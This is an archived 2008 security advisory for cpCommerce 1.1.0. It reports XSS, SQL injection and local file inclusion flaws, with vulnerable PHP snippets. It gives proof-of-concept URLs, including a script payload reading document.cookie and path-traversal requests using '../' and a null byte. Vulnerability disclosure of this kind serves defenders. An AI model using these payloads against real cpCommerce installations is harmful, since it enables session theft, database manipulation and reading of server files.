cpcommerce-xsslfi.txt

2008-04-14T00:00:00
ID PACKETSTORM:65449
Type packetstorm
Reporter AmnPardaz Security Research Team
Modified 2008-04-14T00:00:00

Description

                                        
                                            `########################## www.BugReport.ir #########################  
#  
# AmnPardaz Security Research Team  
#  
# Title: cpCommerce Multiple Vulnerabilities  
# Vendor: http://cpcommerce.cpradio.org  
# Bugs: XSS, SQL Injection , Local File Inclusion  
# Vulnerable Version: 1.1.0 (prior versions also may be affected)  
# Exploitation: Remote with browser  
# Fix: N/A  
# Original Advisory: http://bugreport.ir/index.php?/34  
######################################################################  
  
  
####################  
- Description:  
####################  
  
cpCommerce is an open-source e-commerce solution that is maintained by templates and modules.  
  
  
####################  
- Vulnerability:  
####################  
  
+-->XSS  
POC: http://localhost/v1.1.0/cpcommerce/calendar.php?obj=view.year&month=2&date=21&year=2008<script>alert(document.cookie)</script>  
  
  
+-->SQL Injection  
Input passed to the "id_product","id_manufacturer" and "id_category" parameters in  
functions/display_page.func.php is not properly sanitised before being used in SQL queries.  
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.  
  
Code Snippet:  
functions/display_page.func.php Line#94-96  
  
if (isset($_GET['id_product']) && trim($_GET['id_product']) != "") {  
$product = $db_chooser->sql_query("select `id_category`, `id_manufacturer`, `name`, `description` from " . "" . $db_chooser->Products() . " where id_product='{$_GET['id_product']}' limit 1");  
  
  
+--> Local File Inclusion  
Input passed to the "language" and "action" parameters is not properly verified  
before being used to include files.  
This can be exploited to include arbitrary files from local resources.  
  
Code Snippet:  
actions/language.act.php Line#14-16  
  
// Verify the Language file exists  
if (isset($_GET['language']) && file_exists("{$folder}{$_GET['language']}"))  
$_SESSION['cpLanguage'] = "{$folder}{$_GET['language']}";  
  
Code Snippet:  
_functions.php Line#109-113  
  
## Include Language File  
if (isset($_SESSION['cpLanguage']))  
require_once("{$config['document_root']}{$config['maindir']}{$_SESSION['cpLanguage']}");  
else  
require_once("{$config['document_root']}{$config['maindir']}{$config['language']}");  
  
POC: http://localhost/v1.1.0/cpcommerce/?action=language&language=../To%20DO%20LIST.txt  
  
---------------------------------------  
  
Code Snippet:  
_functions.php Line#148-152  
## Run Requested Action  
if (isset($_GET['action'])) $_POST['action'] = $_GET['action'];  
if (isset($_POST['submit']) || isset($_POST['action']))  
if (isset($_POST['action'])) {  
require_once("{$config['document_root']}{$config['maindir']}{$config['actions']}{$_POST['action']}.act.php");  
  
POC: http://localhost/v1.1.0/cpcommerce/category.php?action=../To%20DO%20LIST.txt%00  
  
####################  
- Credit :  
####################  
AmnPardaz Security Research Team  
Contact: admin[4t}bugreport{d0t]ir  
www.BugReport.ir  
www.AmnPardaz.com  
`